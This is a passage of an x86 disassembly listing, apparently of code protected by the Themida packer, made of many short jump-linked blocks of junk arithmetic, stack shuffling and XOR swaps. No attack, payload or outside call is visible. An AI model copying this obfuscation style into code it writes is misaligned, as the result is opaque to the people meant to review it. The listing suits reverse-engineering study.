; ---------------------------------------------------------------------------


loc_56B4C4:				; CODE XREF: sub_562ABA+8398j
		add	esp, 4
		jmp	loc_55EFF4
; ---------------------------------------------------------------------------


loc_56B4CC:				; CODE XREF: sub_562ABA+F097j
		pop	esp
		push	esp
		pop	[esp+22h+var_22]
		add	[esp+1Eh+var_1E], 4
		push	[esp+1Eh+var_1E]
		pop	ecx
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_56BAC1
; ---------------------------------------------------------------------------


loc_56B4E9:				; CODE XREF: sub_562ABA+7A17j
		sub	esp, 4
		mov	[esp+3Ah+var_3A], ebp
		mov	ebp, 34DA2618h
		dec	ebp
		shl	ebp, 3
		sub	ebp, 4E933331h
		push	4418h
		mov	[esp+3Eh+var_3E], ecx
		push	edx
		mov	edx, 12B4138Ch
		sub	edx, 7BDF16B8h
		not	edx
		or	edx, 79F37486h
		xor	edx, 7E784C79h
		jmp	loc_57245A
; ---------------------------------------------------------------------------


loc_56B525:				; CODE XREF: sub_562ABA+700j
		mov	edx, 4
		add	eax, edx
		jmp	loc_56F8C5
; ---------------------------------------------------------------------------


loc_56B531:				; CODE XREF: sub_55FCA5+F0j
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_56AFCB
; ---------------------------------------------------------------------------


loc_56B53D:				; CODE XREF: sub_562ABA+220Cj
		add	edx, 4
		jmp	loc_569D98
; ---------------------------------------------------------------------------


loc_56B545:				; CODE XREF: sub_562ABA+F195j
		sub	esp, 4
		jmp	loc_56753F
; ---------------------------------------------------------------------------


loc_56B550:				; CODE XREF: sub_562ABA+A54Bj
		add	al, 0F1h
		mov	bl, al
		pop	eax
		jmp	loc_5646D9
; ---------------------------------------------------------------------------


loc_56B55A:				; CODE XREF: sub_562ABA+26B7j
		xchg	eax, [esp+0]
		pop	esp
		add	ecx, 2
		push	20E2h
		jmp	loc_568FA4
; ---------------------------------------------------------------------------


loc_56B56E:				; CODE XREF: sub_562ABA+5665j
		mov	[esp+20h+var_22+2], esi
		pop	edi
		pop	esi
		neg	esi
		xchg	esi, edi
		add	edi, 7EB26696h
		shr	edi, 6
		or	edi, 1B7B7274h
		add	edi, 4028CFD8h
		push	edx
		mov	edx, 7D4215B5h
		jmp	sub_56202E
; ---------------------------------------------------------------------------


loc_56B597:				; CODE XREF: sub_562ABA+4B60j
		pop	esi
		push	ebx
		mov	ebx, esp
		push	esi
		jmp	loc_5666A0
; ---------------------------------------------------------------------------


loc_56B5A1:				; CODE XREF: sub_562ABA+B22Ej
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		jmp	loc_56E276
; ---------------------------------------------------------------------------


loc_56B5B0:				; CODE XREF: sub_562ABA+6229j
		pop	esp
		add	esp, 4
		mov	[edx], ch
		push	[esp+1Ah+var_1A]
		pop	ecx
		add	esp, 4
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56B5C5:				; CODE XREF: sub_562ABA+AEC7j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+16h+var_16]
		mov	esp, [esp+16h+var_16]
		jmp	loc_567A79
; ---------------------------------------------------------------------------


loc_56B5D9:				; CODE XREF: sub_562ABA+32EBj
		push	ebx
		mov	ebx, 6E13214Bh
		sub	eax, ebx
		jmp	loc_564FA2
; ---------------------------------------------------------------------------


loc_56B5E6:				; CODE XREF: sub_56279F+7j
		pop	edi
		add	edi, 4
		push	604Eh
		jmp	loc_565AD4
; ---------------------------------------------------------------------------


loc_56B5F7:				; CODE XREF: sub_562ABA+27DDj
		mov	ecx, [esp+42h+var_42]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5711B2
; ---------------------------------------------------------------------------


loc_56B608:				; CODE XREF: sub_562ABA-4DBj
		mov	esp, [esp+26h+var_28+2]
		div	cx
		push	5904h
		mov	[esp+2Ah+var_2C+2], edx
		push	28C3h
		mov	[esp+0], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		mov	ebp, [esp+32h+var_32]
		add	esp, 4
		jmp	loc_56B0DA
; ---------------------------------------------------------------------------


loc_56B633:				; CODE XREF: sub_562ABA+CEF2j
		pop	esi
		xchg	ebx, [esp+2Ah+var_2C+2]
		mov	esp, [esp+2Ah+var_2C+2]
		or	[esp+2Ah+var_2C+2], eax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56B643:				; CODE XREF: sub_562ABA+C8ABj
		push	edx
		mov	edx, 59CA4FC7h
		xor	edx, 4A517265h
		jmp	loc_564903
; ---------------------------------------------------------------------------


loc_56B654:				; CODE XREF: sub_562ABA+8946j
		mov	edx, 1196098Fh
		shr	edx, 5
		jmp	loc_56E3CB
; ---------------------------------------------------------------------------


loc_56B661:				; CODE XREF: sub_562ABA+6519j
		mov	esp, [esp+6+var_8+2]
		push	ecx
		pop	edx
		push	[esp+6+var_8+2]
		pop	ecx
		push	edx
		jmp	loc_55E1B2
; ---------------------------------------------------------------------------


loc_56B670:				; CODE XREF: sub_562ABA+629Ej
		add	eax, esi
		jmp	loc_56C915
; ---------------------------------------------------------------------------


loc_56B677:				; CODE XREF: sub_562ABA+4F63j
		pop	[esp+42h+var_42]
		pop	esp
		shr	ebx, 2
		sub	esp, 4
		jmp	loc_56F672
; ---------------------------------------------------------------------------


loc_56B689:				; CODE XREF: sub_562ABA-664j
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5646A4
; ---------------------------------------------------------------------------


loc_56B69D:				; CODE XREF: sub_562ABA+8EF4j
		mov	cl, bh
		push	eax
		push	edx
		mov	dl, cl
		mov	ah, dl
		pop	edx
		mov	dl, ah
		pop	eax
		mov	ecx, [esp+2Ah+var_2C+2]
		jmp	loc_55EBE0
; ---------------------------------------------------------------------------


loc_56B6B1:				; CODE XREF: sub_562ABA-30DFj
		add	esp, 4
		add	esi, 92567h
		push	edi
		mov	edi, 7D08343Ch
		sub	esi, edi
		pop	edi
		add	esi, edx
		add	esi, 7D08343Ch
		sub	esi, 92567h
		push	[esp+2+var_4+2]
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	[esp+0Ah+var_8+2]
		pop	esi
		pop	[esp+0Ah+var_C+2]
		mov	esp, [esp+6+var_8+2]
		push	ebx
		mov	ebx, 445F5FE7h
		add	ebx, 6C804529h
		not	ebx
		xor	ebx, 4F205AEDh
		add	esi, ebx
		jmp	loc_5726D9
; ---------------------------------------------------------------------------


loc_56B70B:				; CODE XREF: sub_562ABA+E4C4j
		push	3177h
		mov	[esp+0], edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp+12h+var_12], eax
		push	0B08h
		mov	[esp+16h+var_16], edi
		push	19DA4442h
		pop	edi
		jmp	loc_56D5F1
; ---------------------------------------------------------------------------


loc_56B72E:				; CODE XREF: sub_562ABA+1669j
		dec	eax
		and	eax, 29065E10h
		push	ebp
		mov	ebp, 1E0957DEh
		push	ecx
		mov	ecx, 7CF7D28h
		jmp	loc_570987
; ---------------------------------------------------------------------------


loc_56B745:				; CODE XREF: sub_562ABA+D86Aj
		sub	esp, 4
		mov	[esp+32h+var_32], ebx
		push	971h
		mov	[esp+36h+var_36], eax
		push	ebp
		push	edx
		mov	edx, 4AE11C82h
		add	edx, 2D916BBh
		neg	edx
		shl	edx, 2
		add	edx, 0E286D1Eh
		add	edx, 29ABBE74h
		jmp	loc_56FAD0
; ---------------------------------------------------------------------------


loc_56B779:				; CODE XREF: sub_562ABA+105Dj
		sub	ebx, 1A8116B0h
		mov	eax, [esp+4Ch+var_4E+2]
		push	edi
		mov	edi, esp
		jmp	loc_56B129
; ---------------------------------------------------------------------------


loc_56B78A:				; CODE XREF: sub_562ABA+292Ej
		add	eax, 45350E42h
		add	eax, ebx
		sub	eax, 45350E42h
		sub	esp, 4
		mov	[esp+6+var_8+2], esi
		jmp	loc_5654E7
; ---------------------------------------------------------------------------


loc_56B7A1:				; CODE XREF: sub_562ABA+917Cj
		sub	ebx, 462FA05Ch
		mov	edx, ebx
		mov	ebx, [esp+6+var_8+2]
		add	esp, 4
		add	eax, edx
		mov	edx, [esp+2+var_4+2]
		add	esp, 4
		add	eax, 4
		jmp	loc_56A7EF
; ---------------------------------------------------------------------------


loc_56B7C4:				; CODE XREF: sub_562ABA+5EECj
		mov	[esp+12h+var_12], esp
		add	[esp+12h+var_12], 4
		push	[esp+12h+var_12]
		pop	ebx
		add	esp, 4
		jmp	loc_562FC1
; ---------------------------------------------------------------------------


loc_56B7DA:				; CODE XREF: sub_562ABA+E1DCj
		mov	[esp+0], ebx
		jmp	loc_57084D
; ---------------------------------------------------------------------------


loc_56B7E2:				; CODE XREF: sub_562ABA+D936j
		push	eax
		jmp	loc_55F86D
; ---------------------------------------------------------------------------


loc_56B7E8:				; CODE XREF: sub_55FCA5+1192j
		pop	ecx
		shl	dl, 2
		add	dl, 0Ch
		jmp	loc_55E18A
; ---------------------------------------------------------------------------


loc_56B7F4:				; CODE XREF: sub_562ABA+33A3j
		add	eax, 1B554998h
		add	eax, 683E3262h
		sub	eax, ebp
		push	ebp
		mov	ebp, 683E3262h
		sub	eax, ebp
		pop	ebp
		push	ebx
		jmp	loc_56718C
; ---------------------------------------------------------------------------


loc_56B80F:				; CODE XREF: sub_562ABA+CC6j
		add	ecx, 4
		xchg	ecx, [esp+32h+var_32]
		jmp	loc_55F0C9
; ---------------------------------------------------------------------------


loc_56B81A:				; CODE XREF: sub_562ABA+2106j
		push	28BDh
		mov	[esp+16h+var_16], eax
		push	esp
		mov	eax, [esp+1Ah+var_1A]
		add	esp, 4
		jmp	loc_56442E
; ---------------------------------------------------------------------------


loc_56B831:				; CODE XREF: sub_55FCA5+360j
		pop	ebx
		xor	al, 99h
		mov	ch, 0F5h
		xor	ch, al
		push	[esp+12h+var_12]
		pop	eax
		push	7953h
		mov	[esp+16h+var_16], ecx
		mov	ecx, esp
		jmp	loc_56E4A4
; ---------------------------------------------------------------------------


loc_56B84B:				; CODE XREF: sub_562ABA+8631j
		mov	[esp+4+var_4], esi
		mov	esi, 2
		add	edx, 7B0B53C5h
		jmp	loc_560075
; ---------------------------------------------------------------------------


loc_56B85E:				; CODE XREF: sub_562ABA+48A4j
		or	bx, 883h
		sub	bx, 3227h
		or	bx, 1A42h
		push	esi
		push	ebx
		mov	bx, 2931h
		shl	bx, 7
		jmp	loc_56752A
; ---------------------------------------------------------------------------


loc_56B87C:				; CODE XREF: sub_55FCA5+2CDj
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+34h+var_36+2]
		xor	[esp+34h+var_36+2], ecx
		xor	ecx, [esp+34h+var_36+2]
		mov	esp, [esp+34h+var_36+2]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56B89F:				; CODE XREF: sub_562ABA+CB0Fj
		pop	esp
		shl	byte ptr [esp+30h+var_32+2], cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56B8A9:				; CODE XREF: sub_562ABA+DD7Bj
		mov	esp, [esp+34h+var_36+2]
		push	4CEEh
		mov	[esp+38h+var_3A+2], edi
		jmp	loc_563925
; ---------------------------------------------------------------------------


loc_56B8B9:				; CODE XREF: sub_562ABA-41E1j
		mov	[esp+4+var_4], edx
		jmp	loc_566F4E
; ---------------------------------------------------------------------------


loc_56B8C1:				; CODE XREF: sub_562ABA+3CE7j
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp+36h+var_36]
		jmp	loc_55F6ED
; ---------------------------------------------------------------------------


loc_56B8D1:				; CODE XREF: sub_562ABA+E62Fj
		inc	edi
		neg	edi
		jmp	loc_5658C6
; ---------------------------------------------------------------------------


loc_56B8D9:				; CODE XREF: sub_562ABA-2FCAj
		shl	ah, 2
		add	ah, 0FFh
		sub	ah, 0CCh
		sub	bl, 43h
		sub	bl, ah
		add	bl, 43h
		mov	eax, [esp+0]
		push	eax
		mov	eax, esp
		jmp	loc_55E638
; ---------------------------------------------------------------------------


loc_56B8F5:				; CODE XREF: Themida_:0055F68Dj
		mov	[esp+12h+var_12], eax
		sub	esp, 4
		jmp	loc_562E54
; ---------------------------------------------------------------------------


loc_56B900:				; CODE XREF: sub_562ABA+FD0Dj
		mov	edi, 2
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp+12h+var_12]
		pop	esp
		mov	[esp+0], cx
		jmp	loc_572930
; ---------------------------------------------------------------------------


loc_56B915:				; CODE XREF: sub_562ABA-7Fj
		add	esp, 4
		sub	ebp, 6F5B7FC9h
		mov	edx, [esp+22h+var_22]
		add	esp, 4
		jmp	loc_56DC3E
; ---------------------------------------------------------------------------


loc_56B92C:				; CODE XREF: sub_562ABA+F045j
		add	ebp, 4
		push	ebp
		jmp	loc_56AD17
; ---------------------------------------------------------------------------


loc_56B938:				; CODE XREF: sub_562ABA+743j
		sub	edi, 64D1026Bh
		sub	eax, edi
		pop	edi
		pop	ebp
		push	ecx
		push	esi
		mov	esi, esp
		push	0FCEh
		jmp	loc_56BF6E
; ---------------------------------------------------------------------------


loc_56B950:				; CODE XREF: sub_562ABA+85F8j
		pop	ecx
		push	ebx
		mov	ebx, 49B875D0h
		or	ebx, 379D529Ch
		shl	ebx, 5
		xor	ebx, 8A92A5D0h
		add	edx, ebx
		pop	ebx
		add	edx, eax
		push	edi
		mov	edi, 58D1181Ah
		and	edi, 78954F76h
		not	edi
		inc	edi
		not	edi
		sub	edi, 0DB54A9C1h
		sub	edx, edi
		pop	edi
		jmp	loc_56186A
; ---------------------------------------------------------------------------


loc_56B98A:				; CODE XREF: sub_562ABA-2FDBj
		mov	[esp+12h+var_12], ecx
		push	edi
		mov	edi, 1B1B059Ah
		jmp	loc_56A529
; ---------------------------------------------------------------------------


loc_56B998:				; CODE XREF: sub_562ABA+96CAj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+16h+var_16]
		pop	esp
		sub	esp, 4
		mov	[esp+16h+var_16], ecx
		jmp	loc_56B69D
; ---------------------------------------------------------------------------


loc_56B9B3:				; CODE XREF: sub_562ABA+E4B9j
		xor	ebx, 39478DACh
		jmp	loc_560875
; ---------------------------------------------------------------------------


loc_56B9BE:				; CODE XREF: sub_562ABA+995Ej
		pop	ebx
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4C023725h
		not	ebp
		add	ebp, 4C02372Ah
		add	edi, ebp
		pop	ebp
		add	edi, 4
		jmp	loc_55E192
; ---------------------------------------------------------------------------


loc_56B9DB:				; CODE XREF: sub_562ABA+6510j
		push	edi
		mov	edi, esp
		jmp	loc_56C007
; ---------------------------------------------------------------------------


loc_56B9E3:				; CODE XREF: sub_562ABA+7BCDj
		push	76736A75h
		pop	esi
		shr	esi, 2
		xor	esi, 1D9CDA9Ch
		jmp	loc_56D116
; ---------------------------------------------------------------------------


loc_56B9F7:				; CODE XREF: sub_562ABA+4BAFj
		mov	[esp+3Ah+var_3A], esi
		push	ebp
		jmp	loc_5623B2
; ---------------------------------------------------------------------------


loc_56BA00:				; CODE XREF: sub_562ABA+291Ej
		and	ebx, edx
		jmp	loc_55FFAA
; ---------------------------------------------------------------------------


loc_56BA07:				; CODE XREF: sub_562ABA+A962j
		sub	esp, 4
		jmp	loc_56B18A
; ---------------------------------------------------------------------------


loc_56BA0F:				; CODE XREF: sub_562ABA-4609j
		xchg	ebx, [esp+1Ah+var_1A]
		pop	esp
		pop	ecx
		push	1A72h
		mov	[esp+16h+var_16], ebp
		jmp	loc_56768C
; ---------------------------------------------------------------------------


loc_56BA21:				; CODE XREF: sub_562ABA+FC1Aj
		sub	edi, 7FCB2BABh
		jmp	loc_56975E
; ---------------------------------------------------------------------------


loc_56BA2C:				; CODE XREF: sub_572714+1Ej
		shl	edx, 5
		xor	edx, 72B95864h
		sub	edi, 1464518Ah
		jmp	sub_56112E
; ---------------------------------------------------------------------------


loc_56BA40:				; CODE XREF: Themida_:0055E5BDj
		push	edx
		mov	edx, 4653AA2h
		mov	ebx, 6E9E7CA3h
		sub	ebx, edx
		pop	edx
		add	ebx, 0FFFFFFFFh
		dec	ebx
		inc	ebx
		xor	ebx, 30C75CECh
		add	ebx, 18D7312h
		xor	ebx, 5C8B91FAh
		add	esi, ebx
		mov	ebx, [esp+16h+var_16]
		jmp	loc_5662AA
; ---------------------------------------------------------------------------


loc_56BA6F:				; CODE XREF: sub_562ABA+BFE5j
		xor	dl, cl
		mov	ecx, [esp+16h+var_16]
		add	esp, 4
		xor	al, dl
		push	[esp+12h+var_12]
		jmp	loc_56CF37
; ---------------------------------------------------------------------------


loc_56BA84:				; CODE XREF: sub_562ABA+210Cj
		mov	eax, 2D3319B0h
		add	edx, eax
		jmp	loc_5666C0
; ---------------------------------------------------------------------------


loc_56BA90:				; CODE XREF: sub_562ABA+B6CAj
		sub	esp, 4
		mov	[esp+1Ah+var_1A], eax
		push	ebx
		mov	ebx, 599D3448h
		or	ebx, 38BF00C5h
		add	ebx, 554411C1h
		or	ebx, 0CD27BDh
		or	ebx, 73FD5E23h
		jmp	loc_569C11
; ---------------------------------------------------------------------------


loc_56BAB9:				; CODE XREF: sub_562ABA-11B6j
		xor	dh, 0B9h
		jmp	loc_5673AE
; ---------------------------------------------------------------------------


loc_56BAC1:				; CODE XREF: sub_562ABA+8A2Aj
		pop	edx
		push	esi
		mov	esi, 4
		add	ecx, esi
		jmp	loc_56A2F7
; ---------------------------------------------------------------------------


loc_56BACF:				; CODE XREF: sub_562ABA-7BFj
		add	ecx, 50FC3273h
		jmp	loc_5625CC
; ---------------------------------------------------------------------------


loc_56BADA:				; CODE XREF: sub_562ABA-14D5j
		mov	[esp-0Eh+arg_8+2], ebx
		jmp	loc_56087C
; ---------------------------------------------------------------------------


loc_56BAE2:				; CODE XREF: sub_562ABA+DBj
		mov	ecx, edx
		push	dword ptr [esp+0]
		mov	edx, [esp+12h+var_12]
		add	esp, 4
		add	esp, 4
		sub	edx, 443C2C93h
		add	edx, ecx
		push	ebp
		jmp	loc_560F4E
; ---------------------------------------------------------------------------


loc_56BB04:				; CODE XREF: sub_55FCA5+278j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+12h+var_12]
		pop	esp
		add	esi, 4
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		mov	esp, [esp+0]
		movsx	ecx, al
		push	2380h
		mov	[esp+12h+var_12], ecx
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56BB39:				; CODE XREF: sub_562ABA+68Aj
		add	edi, 37AA780Ch
		sub	edi, 5A44612Eh
		jmp	loc_572584
; ---------------------------------------------------------------------------


loc_56BB4A:				; CODE XREF: sub_562ABA+732Ej
		mov	ebp, 586F2ADCh
		jmp	loc_5652D8
; ---------------------------------------------------------------------------


loc_56BB54:				; CODE XREF: sub_562ABA-447Dj
		add	eax, 4
		xchg	eax, [esp+4Ah+var_4A]
		pop	esp
		pop	ecx
		movzx	eax, al
		jmp	loc_562D85
; ---------------------------------------------------------------------------


loc_56BB66:				; CODE XREF: sub_562ABA+C246j
		pop	eax
		pop	ebp
		mov	ebx, [esp+3Ah+var_3A]
		sub	esp, 4
		mov	[esp+3Eh+var_3E], ebp
		push	7C09h
		mov	[esp+42h+var_42], esp
		add	[esp+42h+var_42], 4
		push	[esp+42h+var_42]
		jmp	loc_57025D
; ---------------------------------------------------------------------------


loc_56BB8B:				; CODE XREF: sub_562ABA+831Ej
		mov	[esp+1Ah+var_1A], ecx
		push	ebx
		jmp	loc_56E0E5
; ---------------------------------------------------------------------------


loc_56BB94:				; CODE XREF: sub_562ABA-1CFAj
		sub	esi, 1D237EDFh
		push	[esp+32h+var_32]
		pop	ebx
		push	2915h
		mov	[esp+36h+var_36], eax
		push	1A19h
		mov	[esp+3Ah+var_3A], esp
		add	[esp+3Ah+var_3A], 4
		pop	eax
		push	ebp
		push	ebx
		jmp	loc_560A2C
; ---------------------------------------------------------------------------


loc_56BBBA:				; CODE XREF: sub_562ABA+B218j
		add	cl, ah
		mov	eax, [esp+3Eh+var_3E]
		push	edi
		jmp	loc_56920D
; ---------------------------------------------------------------------------


loc_56BBC5:				; CODE XREF: sub_562ABA-4526j
		pop	esp
		add	ecx, 3CA11F9Bh
		jmp	loc_56784E
; ---------------------------------------------------------------------------


loc_56BBD1:				; CODE XREF: sub_562ABA-3E80j
		push	ax
		push	ecx
		mov	cl, 2
		mov	ah, 2Ch
		jmp	loc_56AACF
; ---------------------------------------------------------------------------


loc_56BBDD:				; CODE XREF: sub_562ABA-3E9Ej
		inc	eax
		jmp	loc_56366F
; ---------------------------------------------------------------------------


loc_56BBE3:				; CODE XREF: sub_562ABA+47A7j
		add	esp, 4
		sub	ebp, 4
		xor	ebp, [esp+1Ah+var_1A]
		xor	[esp+1Ah+var_1A], ebp
		xor	ebp, [esp+1Ah+var_1A]
		mov	esp, [esp+1Ah+var_1A]
		mov	[esp+1Ah+var_1A], ecx
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56BBFD:				; CODE XREF: sub_562ABA+DD6Dj
		xchg	edx, [esp+1Ah+var_1A]
		pop	esp
		xchg	eax, [esp+16h+var_16]
		mov	esp, [esp+16h+var_16]
		sar	[esp+16h+var_16], cl
		pushf
		jmp	loc_5709D2
; ---------------------------------------------------------------------------
		dd 5C240C87h, 83240489h, 0E4E904ECh
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BC1F:				; CODE XREF: sub_562ABA+D943j
		sub	ebx, 63D646DDh
		push	edi
		mov	edi, 47EE4D1Fh
		add	ebx, edi
		mov	edi, [esp+1Eh+var_1E]
		add	esp, 4
		shl	ebx, 5
		jmp	loc_56B7A1
; ---------------------------------------------------------------------------


loc_56BC3B:				; CODE XREF: sub_562ABA+B98Cj
		pop	esi
		and	ecx, 4E9C2FD8h
		sub	ecx, 0D8C1908h
		inc	ecx
		jmp	loc_56A073
; ---------------------------------------------------------------------------


loc_56BC4E:				; CODE XREF: sub_55FCA5+373j
		pop	esi
		jmp	loc_56C8C9
; ---------------------------------------------------------------------------


loc_56BC54:				; CODE XREF: sub_562ABA+B502j
		inc	ebx
		xor	ebx, 732D517Ah
		jmp	loc_564279
; ---------------------------------------------------------------------------


loc_56BC60:				; CODE XREF: sub_562ABA+148Fj
		mov	edi, 48F85CACh
		add	ebp, edi
		pop	edi
		add	ebp, ebx
		jmp	loc_56AE64
; ---------------------------------------------------------------------------


loc_56BC6F:				; CODE XREF: sub_562ABA+121Fj
		mov	ebp, [esp+16h+var_16]
		add	esp, 4
		add	esp, 4
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		pop	esp
		jmp	loc_5630DC
; ---------------------------------------------------------------------------


loc_56BC8D:				; CODE XREF: sub_562ABA+1D21j
		mov	edi, 343F5CFBh
		sub	edi, 96D5F9Dh
		add	edi, 2B3816AEh
		neg	edi
		add	edi, 63087A06h
		add	edi, 3DE89EFBh
		shl	edi, 5
		push	edx
		mov	edx, 310613BBh
		and	edi, edx
		pop	edx
		add	edi, 0FFFFFFFFh
		jmp	loc_562831
; ---------------------------------------------------------------------------


loc_56BCC3:				; CODE XREF: sub_562ABA+6962j
		xor	edx, [esp-10h+arg_C]
		pop	esp
		xor	bx, ax
		jmp	loc_55EECD
; ---------------------------------------------------------------------------


loc_56BCCF:				; CODE XREF: sub_562ABA+2338j
		mov	esi, [esp+36h+var_36]
		add	esp, 4
		jmp	loc_569482
; ---------------------------------------------------------------------------


loc_56BCDA:				; CODE XREF: sub_562ABA-14DFj
		xchg	ebx, [esp-12h+arg_C+2]
		jmp	loc_57122C
; ---------------------------------------------------------------------------


loc_56BCE2:				; CODE XREF: sub_562ABA+5E9Fj
		dec	word ptr [esp+0]
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56BCEC:				; CODE XREF: sub_562ABA+BD76j
		xor	ebp, 201E9419h
		mov	eax, ebp
		mov	ebp, [esp+12h+var_12]
		add	esp, 4
		add	esi, eax
		pop	eax
		push	0
		jmp	loc_569CCE
; ---------------------------------------------------------------------------


loc_56BD0A:				; CODE XREF: sub_55FCA5+459j
		add	esp, 4
		jmp	loc_56FA71
; ---------------------------------------------------------------------------


loc_56BD15:				; CODE XREF: sub_562ABA+F52Bj
		not	edi
		add	edi, 0E037BAB1h
		sub	esi, 595C2266h
		sub	esi, edi
		add	esi, 595C2266h
		pop	edi
		add	edx, esi
		pop	esi
		add	ebx, 5374E52h
		sub	ebx, edx
		sub	ebx, 5374E52h
		mov	edx, [esp+2+var_4+2]
		add	esp, 4
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		jmp	loc_56A259
; ---------------------------------------------------------------------------


loc_56BD54:				; CODE XREF: sub_562ABA+11EBj
		xor	edx, 173F0F38h
		add	[esp+4], edx
		push	[esp+32h+var_32]
		pop	edx
		add	esp, 4
		sub	dword ptr [esp+0], 6F736DD0h
		jmp	loc_5663A8
; ---------------------------------------------------------------------------


loc_56BD71:				; CODE XREF: sub_562ABA-1D0Fj
		xchg	eax, [esp+36h+var_36]
		pop	esp
		push	esi
		mov	esi, 13D01284h
		or	esi, 716877A1h
		shl	esi, 5
		shl	esi, 7
		dec	esi
		and	esi, 3DC23BC3h
		xor	esi, 5420BC7h
		add	ebx, esi
		push	[esp+36h+var_36]
		jmp	loc_56E420
; ---------------------------------------------------------------------------


loc_56BD9E:				; CODE XREF: sub_562ABA-3807j
		mov	ebx, 0EE41C5D1h
		jmp	loc_56B324
; ---------------------------------------------------------------------------


loc_56BDA8:				; CODE XREF: sub_562ABA-3167j
		add	[esp+0Ah+var_8+2], ecx
		add	[esp+0Ah+var_8+2], 52C3233Ah
		add	[esp+0Ah+var_8+2], 491013F9h
		add	[esp+0Ah+var_8+2], 7D180B30h
		mov	ecx, [esp+0Ah+var_C+2]
		jmp	loc_56009C
; ---------------------------------------------------------------------------


loc_56BDCC:				; CODE XREF: sub_562ABA-3672j
		xor	eax, 10C67AF4h
		jmp	loc_55FB72
; ---------------------------------------------------------------------------


loc_56BDD6:				; CODE XREF: sub_562ABA+C3D7j
		mov	esp, [esp+22h+var_22]
		push	3B34h
		mov	[esp+26h+var_28+2], ecx
		push	ebx
		mov	bh, dl
		sub	esp, 4
		mov	[esp+0], edx
		mov	dl, bh
		sub	esp, 4
		mov	[esp+32h+var_32], eax
		mov	al, dl
		mov	ch, al
		pop	eax
		pop	edx
		mov	ebx, [esp+2Ah+var_2C+2]
		push	ecx
		push	esp
		pop	ecx
		push	1BFBh
		jmp	loc_572ADB
; ---------------------------------------------------------------------------


loc_56BE0B:				; CODE XREF: sub_562ABA+BDD0j
		sub	edx, 7F5C42CBh
		add	edx, eax
		add	edx, 7F5C42CBh
		pop	eax
		xor	edx, [esp]
		jmp	loc_56077A
; ---------------------------------------------------------------------------


loc_56BE22:				; CODE XREF: sub_562ABA+B829j
		push	eax
		push	ebx
		push	[esp+36h+var_36]
		pop	eax
		push	4288h
		mov	[esp+3Ah+var_3A], edi
		jmp	loc_567AD9
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	[esp+38h+var_3A+2], cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56BE44:				; CODE XREF: sub_562ABA+75C5j
		mov	esp, [esp+26h+var_28+2]
		mov	[esp+26h+var_28+2], esi
		push	7ABAh
		mov	[esp+2Ah+var_2C+2], edx
		mov	edx, 63A95A1Eh
		mov	esi, 0CA90CFDAh
		jmp	loc_56A907
; ---------------------------------------------------------------------------


loc_56BE61:				; CODE XREF: sub_562ABA+F301j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		jmp	loc_56DEE9
; ---------------------------------------------------------------------------


loc_56BE78:				; CODE XREF: sub_562ABA+11D7j
		push	edx
		push	254Ah
		jmp	loc_560E67
; ---------------------------------------------------------------------------


loc_56BE83:				; CODE XREF: sub_562ABA+E366j
		mov	[esp+46h+var_46], ebx
		jmp	loc_565438
; ---------------------------------------------------------------------------


loc_56BE8B:				; CODE XREF: sub_562ABA+152Bj
		mov	[esp+3Ah+var_3A], ebp
		jmp	loc_5626C1
; ---------------------------------------------------------------------------


loc_56BE93:				; CODE XREF: sub_562ABA+2071j
		sub	esp, 4
		mov	[esp+48h+var_4A+2], edi
		push	[esp+48h+var_46+2]
		jmp	loc_561A00
; ---------------------------------------------------------------------------


loc_56BEA2:				; CODE XREF: sub_562ABA-21A9j
		sub	eax, edi
		mov	edi, [esp+32h+var_32]
		add	esp, 4
		jmp	loc_569982
; ---------------------------------------------------------------------------


loc_56BEAF:				; CODE XREF: sub_562ABA+70EFj
		mov	edi, [esp+10h+var_12+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+14h+var_16+2]
		pop	esp
		and	eax, ebx
		pop	ebx
		jmp	loc_569AB0
; ---------------------------------------------------------------------------


loc_56BECB:				; CODE XREF: sub_562ABA+7A5j
		mov	ebp, edi
		mov	edi, [esp+32h+var_32]
		add	esp, 4
		sub	ebx, ebp
		jmp	loc_56EDD4
; ---------------------------------------------------------------------------


loc_56BEDD:				; CODE XREF: sub_562ABA+828Bj
		mov	edx, [esp+32h+var_32]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+36h+var_36]
		pop	esp
		push	13A9h
		mov	[esp+36h+var_36], eax
		push	[esp+36h+var_32]
		mov	eax, [esp+3Ah+var_3A]
		add	esp, 4
		jmp	loc_56757A
; ---------------------------------------------------------------------------


